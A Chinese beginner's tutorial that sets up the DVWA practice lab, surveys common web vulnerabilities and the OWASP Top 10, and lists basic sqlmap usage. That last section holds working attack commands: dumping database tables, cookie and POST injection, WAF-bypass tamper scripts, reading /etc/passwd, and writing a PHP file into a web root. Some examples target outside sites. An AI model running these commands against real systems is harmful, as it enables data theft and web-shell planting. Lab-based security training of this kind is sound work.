DAY2-DVWA搭建&SQLmap搭建及基本使用

DVWA简介

DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

DVWA共有十个模块,分别是:

1.Brute Force(暴力(破解))

2.Command Injection(命令行注入)

3.CSRF(跨站请求伪造)

4.File Inclusion(文件包含)

5.File Upload(文件上传)

6.Insecure CAPTCHA (不安全的验证码)

7.SQL Injection(SQL注入)

8.SQL Injection(Blind)(SQL盲注)

9.XSS(Reflected)(反射型跨站脚本)

10.XSS(Stored)(存储型跨站脚本)

搭建过程

  • 首先要搭建phpstudy的环境,phpStudy是集成了Apache和MySql的集成环境,下载好安装phpStudy
  • 下载DVWA
  • 将DVWA放到phpstudy的www目录下
  • 配置一下相关文件
  • 首先最好先配置一下phpStudy的数据库密码 修改后将DVWA/confing下的config.inc.php.dist修改为 config.inc.php,找到其中的把原来的db_password改为刚设置的
  • DAY2-DVWA搭建&SQLmap搭建及基本使用_第1张图片
  • DAY2-DVWA搭建&SQLmap搭建及基本使用_第2张图片
  • 打开127.0.0.1/DVWA-master 可以自动跳入登陆页面,说明设置成功
  • DAY2-DVWA搭建&SQLmap搭建及基本使用_第3张图片
  • 用户名admin 密码password登陆成功

Web常见漏洞

 

 Web应用的漏洞分类

1、信息泄露漏洞

      信息泄露漏洞是由于Web服务器或应用程序没有正确处理一些特殊请求,泄露Web服务器的一些敏感信息,如用户名、密码、源代码、服务器信息、配置信息等。

造成信息泄露主要有以下三种原因:

--Web服务器配置存在问题,导致一些系统文件或者配置文件暴露在互联网中;

--Web服务器本身存在漏洞,在浏览器中输入一些特殊的字符,可以访问未授权的文件或者动态脚本文件源码;

--Web网站的程序编写存在问题,对用户提交请求没有进行适当的过滤,直接使用用户提交上来的数据。

 

2、目录遍历漏洞

     目录遍历漏洞是攻击者向Web服务器发送请求,通过在URL中或在有特殊意义的目录中附加“../”、或者附加“../”的一些变形(如“..\”或“..//”甚至其编码),导致攻击者能够访问未授权的目录,以及在Web服务器的根目录以外执行命令。

 

3、命令执行漏洞

      命令执行漏洞是通过URL发起请求,在Web服务器端执行未授权的命令,获取系统信息,篡改系统配置,控制整个系统,使系统瘫痪等。

命令执行漏洞主要有两种情况:

     --通过目录遍历漏洞,访问系统文件夹,执行指定的系统命令;

    --攻击者提交特殊的字符或者命令,Web程序没有进行检测或者绕过Web应用程序过滤,把用户提交的请求作为指令进行解析,导致执行任意命令。

 

4、文件包含漏洞

    文件包含漏洞是由攻击者向Web服务器发送请求时,在URL添加非法参数,Web服务器端程序变量过滤不严,把非法的文件名作为参数处理。这些非法的文件名可以是服务器本地的某个文件,也可以是远端的某个恶意文件。由于这种漏洞是由PHP变量过滤不严导致的,所以只有基于PHP开发的Web应用程序才有可能存在文件包含漏洞。

 

5、SQL注入漏洞

    SQL注入漏洞是由于Web应用程序没有对用户输入数据的合法性进行判断,攻击者通过Web页面的输入区域(如URL、表单等) ,用精心构造的SQL语句插入特殊字符和指令,通过和数据库交互获得私密信息或者篡改数据库信息。SQL注入攻击在Web攻击中非常流行,攻击者可以利用SQL注入漏洞获得管理员权限,在网页上加挂木马和各种恶意程序,盗取企业和用户敏感信息。

 

6、跨站脚本漏洞

    跨站脚本漏洞是因为Web应用程序时没有对用户提交的语句和变量进行过滤或限制,攻击者通过Web页面的输入区域向数据库或HTML页面中提交恶意代码,当用户打开有恶意代码的链接或页面时,恶意代码通过浏览器自动执行,从而达到攻击的目的。跨站脚本漏洞危害很大,尤其是目前被广泛使用的网络银行,通过跨站脚本漏洞攻击者可以冒充受害者访问用户重要账户,盗窃企业重要信息。

    根据前期各个漏洞研究机构的调查显示,SQL注入漏洞和跨站脚本漏洞的普遍程度排名前两位,造成的危害也更加巨大。

 

  •   DVWA上的漏洞列表

    DVMA正如他的名字一样是一个包含了很多漏洞的应用系统。DVWA的漏洞包括了OWASP oepen web application security project的web 10大漏洞。这里提一下

  • Owasp top10 2010年发布的数据

    The OWASP Top 10 Web ApplicationSecurity Risks for 2010 are:

    A1: Injection  // 注入漏洞

    A2: Cross-Site Scripting (XSS)  //跨站脚本

    A3: Broken Authentication and Session Management  //错误的授权和会话管理

    A4: Insecure Direct Object References //不正确的直接对象引用

    A5: Cross-Site Request Forgery (CSRF)//伪造跨站请求

    A6: Security Misconfiguration//安全性错误配置

    A7: Insecure Cryptographic Storage//不安全的加密存储

    A8: Failure to Restrict URL Access//未验证的重定向和传递

    A9: Insufficient Transport Layer Protection//不足的传输层防护

    A10: Unvalidated Redirects and Forwards//无效的重定向和转发

    DVWA里面具体包括如下这些漏洞:

    1.暴力破解漏洞通过brute force登录页面进入到该漏洞的测试位置。这个漏洞是用来测试暴力破解工具和展示不安全的弱密码。

    2.命令执行漏洞在存在风险的系统上执行命令。

    3.CSRF伪造跨站请求漏洞,允许攻击者去修改应用的管理员密码。

    4.SQL注入,DVWA包括盲注和错误型注入两种SQL注入漏洞类型。

    5.不安全的文件上传漏洞,允许攻击者上传恶意的文件到web服务器上

    6.XSS跨站脚本漏洞,允许攻击者注入他们自己的脚本到web服务器上。DVWA系统里面包含了反射性XSS和存储型XSS两种类型。

    7.文件包含漏洞,允许进行本地文件包含执行和远程文件包含执行

    8.验证码绕过(但由于验证码使用了google的,我们网络太和谐,需要代理或者VPN连接,经过VPN环境测试,也不太靠谱)

SQLmap小白使用

  • 简介
  • sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞。它由python语言开发而成,因此运行需要安装python环境。

SQLmap搭建环境

  • 首先下载python-2.7.15,安装过程很简单,不多余赘述
  • 下载SQLmap,解压后将文件夹sqlmap放在C:\python27 目录下
  • DAY2-DVWA搭建&SQLmap搭建及基本使用_第4张图片
  • 在桌面创建一个快捷方式
  • 更改起始位置,目的位置如图
  • DAY2-DVWA搭建&SQLmap搭建及基本使用_第5张图片
  • 将快捷方式重命名为SQLMap
  • 打开
  • 输入命令 SQLmap.py -h 出现如图所示的结果,说明安装成功
  • DAY2-DVWA搭建&SQLmap搭建及基本使用_第6张图片

SQLmap的基本使用

  • 命令
  • 1. sqlmap Get注入

    ./sqlmap.py -u “注入地址” -v 1 --dbs   // 列举数据库
    ./sqlmap.py -u “注入地址” -v 1 --current-db   // 当前数据库
    ./sqlmap.py -u “注入地址” -v 1 --users    // 列数据库用户
    ./sqlmap.py -u “注入地址” -v 1 --current-user  // 当前用户
    ./sqlmap.py -u “注入地址” -v 1 --tables -D “数据库”   // 列举数据库的表名
    ./sqlmap.py -u “注入地址” -v 1 --columns -T “表名” -D “数据库”   // 获取表的列名
    ./sqlmap.py -u “注入地址” -v 1 --dump -C “字段,字段” -T “表名” -D “数据库”   // 获取表中的数据,包含列
    已经开始拖库了,SQLMAP是非常人性化的,它会将获取的数据存储sqlmap/output/

    2. sqlmap post注入
    我们在使用Sqlmap进行post型注入时,
    经常会出现请求遗漏导致注入失败的情况。
    这里分享一个小技巧,即结合burpsuite来使用sqlmap,
    用这种方法进行post注入测试会更准确,操作起来也非常容易。
    1. 浏览器打开目标地址http:// www.2cto.com /Login.asp
    2. 配置burp代理(127.0.0.1:8080)以拦截请求
    3. 点击login表单的submit按钮
    4. 如下图,这时候Burp会拦截到了我们的登录POST请求
    5. 把这个post请求复制为txt, 我这命名为search-test.txt 然后把它放至sqlmap目录下

    3,sqlmap  cookies注入
    sqlmap.py -u "http://127.0.0.1/base.php" --cookies "id=1"  --dbs --level 2
    2.默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用--level 参数且数值>=2的时候也会检查cookie时面的参数,当>=3的时候将检查User-agent和Referer,那么这就很简单了,我们直接在原有的基础上面加上 --level 2 即可
    利用sqlmap cookies注入突破用户登录继续注入
    先把用户登陆的cookie拿到吧,
    在收藏夹添加一个链接cookies属性:
    名字自己取
    javascript:alert(document.cookie),,需要获取当前cookie的时候,
    直接点一下这个链接,然后复制一下弹出对话框
    里的cookie值就搞定了
    sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid --dbms mssql --cookie="info=username=test"
    -p是指指定参数注入
    4. sqlmap遇到url重写的注入
    哪里存在注入就加上 * 号

    5.sqlmap 编码绕waf注入
    ./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper "space2morehash.py"
    在sqlmap 的 tamper目录下有很多space2morehash.py 编码脚本自行加载
  •  
  • .sqlmap读文件
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--file-read “/etc/passwd"
    7.sqlmap写文件
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--file-write /localhost/mm.php --file-dest/var/www/html/xx.php -v 2

 

你可能感兴趣的:(DAY2-DVWA搭建&SQLmap搭建及基本使用)